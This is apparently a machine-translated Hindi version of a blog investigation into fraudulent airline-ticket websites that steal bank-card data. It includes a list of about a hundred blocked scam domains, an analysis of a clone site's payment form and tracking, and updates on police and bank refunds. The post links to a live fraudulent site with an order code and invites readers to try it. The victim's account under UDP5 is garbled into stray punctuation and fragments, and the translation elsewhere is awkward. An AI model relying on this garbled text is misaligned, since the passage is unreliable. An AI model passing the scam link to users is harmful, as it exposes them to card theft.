तालिका में साइटों की सूची पर ध्यान दें। जब मैंने इस तालिका को संकलित करना शुरू किया, तो मुझे संदेह था कि बहुत सी समान साइटें थीं, लेकिन मुझे संदेह नहीं था कि कितने हैं। खोज इंजन में एक सरल खोज कम से कम एक दर्जन समान साइटों के लिंक प्रदान करती है। उनमें से कुछ अभी भी खोज इंजन में हैं, लेकिन अब उपलब्ध नहीं हैं (आप केवल कैश्ड संस्करण देख सकते हैं)। पहले से संचालित समान साइटों की सूची, लेकिन पहले से ही अवरुद्ध, 400 से अधिक पीसी है। इसलिए, आपकी अनुमति के साथ, मैं अब किसी विशेष साइटों के अपवाद के साथ, इस तालिका को पूरक नहीं करूंगा, जिसका विश्लेषण दिलचस्प हो सकता है।

यहां एयरलाइन टिकट बेचने वाले सौ अवरुद्ध घोटाले साइटों का उदाहरण दिया गया है

_fly-4you.ru_
_economavia.ru_
_nticket.ru_
_red-avia.com_
_lykafe.ru_
_max-fly.ru_
_tourfly.biz_
_bilet-poisk.ru_
_masterfly.ru_
_future-fly.ru_
_tiptopair.ru_
_100bilet.ru_
_go-go-travel.com_
_point-avia.com_
_avianeo.ru_
_itarifyaviabilety.ru_
_eg-avia.ru_
_horoshoairbilety.ru_
_aviakassa-sales.ru_
_gogoavia.com_
_avia-toptickets.ru_
_poiskovik-airline.ru_
_ticket-online.ru_
_avia-fun.com_
_disavia.ru_
_expressaviabilet.ru_
_moi-avia.ru_
_-._
_slim-avia.org_
_fly-info.ru_
_aviakassaonline24.ru_
_bestavias.ru_
_oaviabiletychelny.ru_
_etoavia.ru_
_aviakassabiletov.ru_
_avia-online24.ru_
_onlinepolet.ru_
_tip-trip.biz_
_disaero.ru_
_ticket-planet.ru_
_flyglobal.ru_
_mainavia.ru_
_ticket2avia.ru_
_online-airlines.ru_
_super-avia.ru_
_fun-avia.com_
_avia-book.ru_
_poiskvnebo.ru_
_avia-world.ru_
_aviachild.ru_
_aviaonline.org_
_deshevoavia.ru_
_vnemli.ru_
_moifly.ru_
_-._
_grundfly.ru_
_airbiletyonline.ru_
_fast-fly.ru_
_zaaviabiletom.ru_
_splash-avia.com_
_bystro-aviabileti.ru_
_aviabulet.ru_
_xdavia.ru_
_mytripbonus.ru_
_broniruem-online.ru_
_newgoaaviabilety.ru_
_search-fly.ru_
_privat-air.org_
_biletnasamoletonline.ru_
_smilefly.ru_
_x-avia.ru_
_raido-rent.com_
_avia-rsexpress.ru_
_aviaspecmontag.ru_
_just-avia.ru_
_onlyavia.ru_
_letimairlanes.ru_
_avia-russia.ru_
_trip-avia.com_
_aviagold.ru_
_deshevo-poletet.ru_
_avia-kafe.ru_
_poisk-avia.ru_
_fly-land.ru_
_aviaup.ru_
_-._
_airlines-travel.ru_
_cafe-avia.ru_
_avia-cloud.com_
_fly-corp.ru_
_eco-avia.com_
_ticket-aero24.ru_
_turscannerpro.ru_
_roomticket.ru_
_flyfiaryav.ru_
_express-avia.ru_
_broniruem24.ru_
_wow-avia.ru_
_sky-trips.ru_
_aviabin.ru_

नकारात्मक समीक्षा, टिकट खरीदते समय पैसे की चोरी की कहानियां, ब्लैकलिस्ट विभिन्न इंटरनेट साइटों पर पाए जा सकते हैं। इस पैमाने पर, इस लेख के ढांचे के भीतर, स्टैंडबाय मोड में तालिका को अपडेट करने का कोई मतलब नहीं है। कथित तौर पर हवाई (और कभी-कभी रेलवे) टिकट बेचने वाली साइटों पर धोखेबाजों की कार्रवाई का पैमाना समझ में आता है। जब एक साइट होती है, तो धोखेबाज़ को पता लगाना और पकड़ना हमेशा संभव नहीं होता है। जब दर्जनों और सैकड़ों साइटें होती हैं, तो, निश्चित रूप से, स्कैमर्स इस तरह से काम नहीं कर सकते हैं कि कोई निशान नहीं बचा है। या तो प्रदाताओं, या बैंकों, या इंटरनेट कंपनियों, या डोमेन रजिस्ट्रार, या कहीं और पीछे छोड़ दिया जाना चाहिए। इसलिए, यदि किसी का दृढ़ निर्णय है, तो इस पूरी योजना की जांच की जा सकती है और इसके लिए जिम्मेदार पाया जा सकता है।

UDP3:
धन्यवाद semb। टिप्पणियों में, उन्होंने एक अन्य साइट _pilotavia.ru_ की ओर इशारा किया।
यह साइट इस मामले में उल्लेखनीय है कि यह साइट _aviapromo.eu_ पर दो बूंदों की तरह दिखती है (जिस साइट पर इस लेख के नायक के पास "एयरलाइन टिकट खरीदने के लिए प्रसिद्धि थी" यह साइट काम करना जारी रखती है। यह केवल एक समान साइट नहीं है, बल्कि एक ही साइट है, बस एक अलग होस्टिंग और डोमेन पर होस्ट की गई है। अब अधिक विवरण देखने का अवसर है कि साइट कैसे काम करती है। जो लोग प्रयोग करना चाहते हैं, उनके लिए आप तुरंत लिंक _https :ppilotavia.ru/ से शुरू कर सकते हैं। कोड = BX3FKT_ (यह एक रखा आदेश के साथ एक लिंक है, जिस पर एक अवसर है भुगतान करने के लिए जाओ। भुगतान के लिए समय 24 घंटे है)।

होम पेज, फ्लाइट सर्च पेज और पेमेंट पेज_पिलोटाविया.ru_ लेख में पहली साइट के समान हैं

फ़ाइलों को डाउनलोड करने के लिए वेबमास्टर के पैनल में अगले पृष्ठ पर, आप देख सकते हैं कि उड़ानों पर सीटों की उपलब्धता का वास्तविक डेटा सामान्य गैर-धोखाधड़ी वेबसाइट aviacassa_ru से प्राप्त होता है। पाठ डेटा को सर्वर पर समायोजित किए जाने की संभावना है, और छवियों के लिंक अपरिवर्तित रहते हैं।

उन लोगों के लिए जिन्होंने https और प्रमाणपत्र विवरण के बारे में पूछा। जाँच करने का अवसर मिला।
साइट लेट्स एनक्रिप्ट से एक सुरक्षित कनेक्शन और प्रमाण पत्र का उपयोग करती है। एक दिलचस्प विशेषता यह है कि प्रमाण पत्र तीन महीने की अवधि के लिए जारी किया जाता है। यह शायद बचाना है? ऐसी साइट के जीवनकाल का वास्तविक मूल्यांकन करें।

एक और विस्तार। साइट Yandex Webvisor सेवा का उपयोग करती है। नीचे दी गई छवि में पैनल के नीचे अनुरोध पर दिखाई दे रहा है। जो लोग अद्यतित नहीं हैं, उनके लिए साइट पर उपयोगकर्ता के व्यवहार को रिकॉर्ड करने के लिए यह बहुत सुविधाजनक सेवा है। फिर आप वीडियो के समान कुछ देख सकते हैं कि उपयोगकर्ताओं ने साइट पर क्या किया। वेब ब्राउजर का उपयोग करने का मतलब है कुछ चीजें। - एक जालसाज़ ने Yandex.Metrica में एक साइट पंजीकृत की, उसकी साइट पर उपयोगकर्ता के कार्यों के बारे में विस्तृत आँकड़े हैं। शायद यहां तक कि कार्ड नंबर वेबसीवर डेटा से प्राप्त किए जाते हैं, हालांकि सबसे अधिक संभावना है कि कार्ड नंबर साइट पर प्रोग्रामेटिक रूप से दर्ज किए जाते हैं। सिक्के का दूसरा पहलू यह है कि यांडेक्स का फिशिंग साइट पर सभी ऑपरेशंस का पूरी तरह से लॉग इतिहास है। यही है, सैद्धांतिक रूप से, अगर कानून प्रवर्तन एजेंसियों को इस जानकारी तक पहुंच प्राप्त होती है (यदि यह सिद्धांत संभव है),आप धोखाधड़ी के प्रत्येक मामले के लिए तस्वीर को पूरी तरह से बहाल कर सकते हैं और धोखाधड़ी लेनदेन के दायरे को समझ सकते हैं।

अब, पैसे चोरी करने के तंत्र के बारे में _pilotavia.ru_, और इसलिए _aviapromo.eu_। ये साइटें Tinkoff Bank पेज का उपयोग नहीं करती हैं। चूंकि इस लेख में वर्णित धन की चोरी को P2P PSBANK (Promsvyazbank) के माध्यम से अंजाम दिया गया था, एक धारणा थी कि उसी तरह Promsvyazbank के पृष्ठ को बदल दिया जाता है और उपयोगकर्ता को प्रस्तुत किया जाता है। लेकिन जब मैंने भुगतान पृष्ठ के HTML कोड का विश्लेषण किया, तो मुझे किसी भी बैंक के पृष्ठों का कोई भी भाग नहीं मिला, iframe अंतर्निहित विंडोज़ का उपयोग नहीं किया गया है, स्क्रिप्ट्स का उपयोग बिल्कुल नहीं किया जाता है, और पेज स्वयं बहुत सरल है और Promvvyazbank के पृष्ठ पर नहीं दिखता है।

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

वास्तव में, यह पृष्ठ कार्ड नंबर दर्ज करने का एक रूप है। जब फॉर्म की पुष्टि हो जाती है, तो प्रसंस्करण को payp2p.php प्रोग्राम में स्थानांतरित कर दिया जाता है। यह प्रोग्राम कुछ भी कर सकता है, लेकिन इसका कोड हमारे पास उपलब्ध नहीं है - कोड को सर्वर साइड पर निष्पादित किया जाता है। सबसे अधिक संभावना है, यह प्रोग्राम कार्ड डेटा प्राप्त करता है, और फिर प्रोग्रामेटिक रूप से सर्वर साइड किसी भी तरह Promsvyazbank फॉर्म को भर देगा, और उपयोगकर्ता से 3 डी सिक्योर कन्फर्मेशन कोड मांगा जाएगा। ये कार्ड स्वाभाविक रूप से संग्रहीत हैं और इन्हें विभिन्न साइटों पर अतिरिक्त शुल्क के लिए उपयोग किया जा सकता है। यदि कोई इस साइट के एल्गोरिथ्म की अधिक विस्तार से गणना कर सकता है, तो मैं आभारी रहूंगा। पुलिस के एक बयान के अनुसार, एक जांच शुरू की गई है - कोई भी जानकारी जो एक आपराधिक योजना को प्रकट कर सकती है, उसका स्वागत है।

UDP4 (09/27/2016): पूछने वालों की जानकारी।
फिलहाल, पैसे या तो उन भुगतानों के लिए वापस नहीं किए गए जो अन्य लोगों के कार्ड में गए थे, या वे भुगतान के लिए गए थे जो Yandex.Direct थे। (Yandex.Direct को भुगतान के लिए, डेबिट के बाद 24 घंटे से कम समय में बैंक को एक बयान प्रस्तुत किया गया था)। Sberbank से कोई आधिकारिक प्रतिक्रिया नहीं है (15 दिन अभी तक पारित नहीं हुए हैं)। आज, अन्वेषक के लिए, Sberbank शाखा में एक पेपर अर्क बनाया गया था। राशियाँ लिखी गईं। बयान में भुगतानकर्ताओं पर कोई अतिरिक्त जानकारी नहीं है।

टुकड़ा निकालें

बिगाड़ने के तहत Sberbank से पूर्ण बयान

UDP5 (09/30/2016)। PM में उपयोगकर्ता Vad_R ने "टिकट खरीदने" की अपनी वास्तविक कहानी भेजी, जिसमें चार महीने पहले उनके कार्ड से ~ 20500 रूबल चोरी हो गए थे। मैं इस मामले को प्रकाशन में जोड़ता हूं कि यह दिखाने के लिए कि "जनसंख्या से अपेक्षाकृत ईमानदार पैसे लेने के तरीके" क्या हैं। स्पॉइलर के तहत विवरण और विवरण।

संक्षेप में, पहले चरणों में, डिज़ाइन बहुत सुंदर दिखता है, और बैंक कार्ड डेटा दर्ज करने के बाद, उन्हें बस स्कैमर में भेजा जाता है जो अपने कार्यों को छिपाने के लिए भी परेशान नहीं करते थे। अंतिम संदेश में जो उपयोगकर्ता देखता है, उसमें कम से कम तीन व्याकरणिक / वर्तनी त्रुटियाँ हैं। शायद, इस मामले में, हारे ने काम किया ...

कार्ड डेटा दर्ज करने के बाद, MMBANKa सेवा (बैंक ऑफ मॉस्को) के माध्यम से किसी और के कार्ड में स्थानांतरित करके धन वापस ले लिया गया था। पैसा वापस नहीं किया जा सका। पुलिस को एक बयान लिखा गया था। केस बंद "अपराध घटना की कमी के कारण"

इस मामले का विवरण

, , .

.

.. ..

, . , №1 «» .

() , , , _forair.ru_ 19967,45
, 04 2016 _forair.ru_ . 3 - , – . 11 . - , , .
, , -, , CVV 2 . , 19653,00 ( ) , 14 . ( )
_forair.ru_ , – . , , . .

. № 2787878 (06.06.2016)

, , , .
...

, , . . 05.06.2016 , 13.06.2016 . 8 . , . , . ? , « ». . .

===========================================================================

, Vad_R

UDP6 (10/06/2016) 09/20/2016 के शिकार की अपील पर Sberbank ने प्रतिक्रिया दी । उन्होंने लिखा कि समीक्षा अवधि को अतिरिक्त 30 दिनों तक बढ़ाया गया था। फिलहाल पैसा वापस नहीं आया है।

UDP7 (10/19/2016) Yandex.Direct के लिए जो पैसा लिखा गया था वह 12/10/2016 (17700r + 17700r) को लौटा। बैंक में आवेदन जमा करने के 22 दिन बाद रिटर्न हुआ।
पैसे जो किसी और के कार्ड में गए ~ 5900r + 5900r + इस समय 11/13/2016 को कमीशन वापस नहीं आया।

वापसी की पुष्टि के साथ एसएमएस।

UDP8 (11/13/2016)
प्रकाशन का दूसरा भाग निरंतरता के साथ प्रकाशित किया गया था: सस्ती एयरलाइन टिकट ... धोखाधड़ी वाली वेबसाइटों का एक नेटवर्क कार्ड से पैसे चुरा रहा था। जांच-भाग २ Promsvyazbank का इससे क्या लेना-देना है?

UDP9 (03/02/2017)
मैंने इस प्रकाशन से संबंधित कुछ हद तक एक नया लेख लिखा: Yandex 3 डी सिक्योर सत्यापन को अनदेखा करता है जब Yandex में विज्ञापनों के लिए भुगतान किया जाता है। बैंक कार्ड का उपयोग करके अप्रत्यक्ष।

सस्ती उड़ानें ... या जालसाज वेबसाइटों का एक नेटवर्क कार्ड से पैसे चुरा रहा है। मेरी जांच

More articles: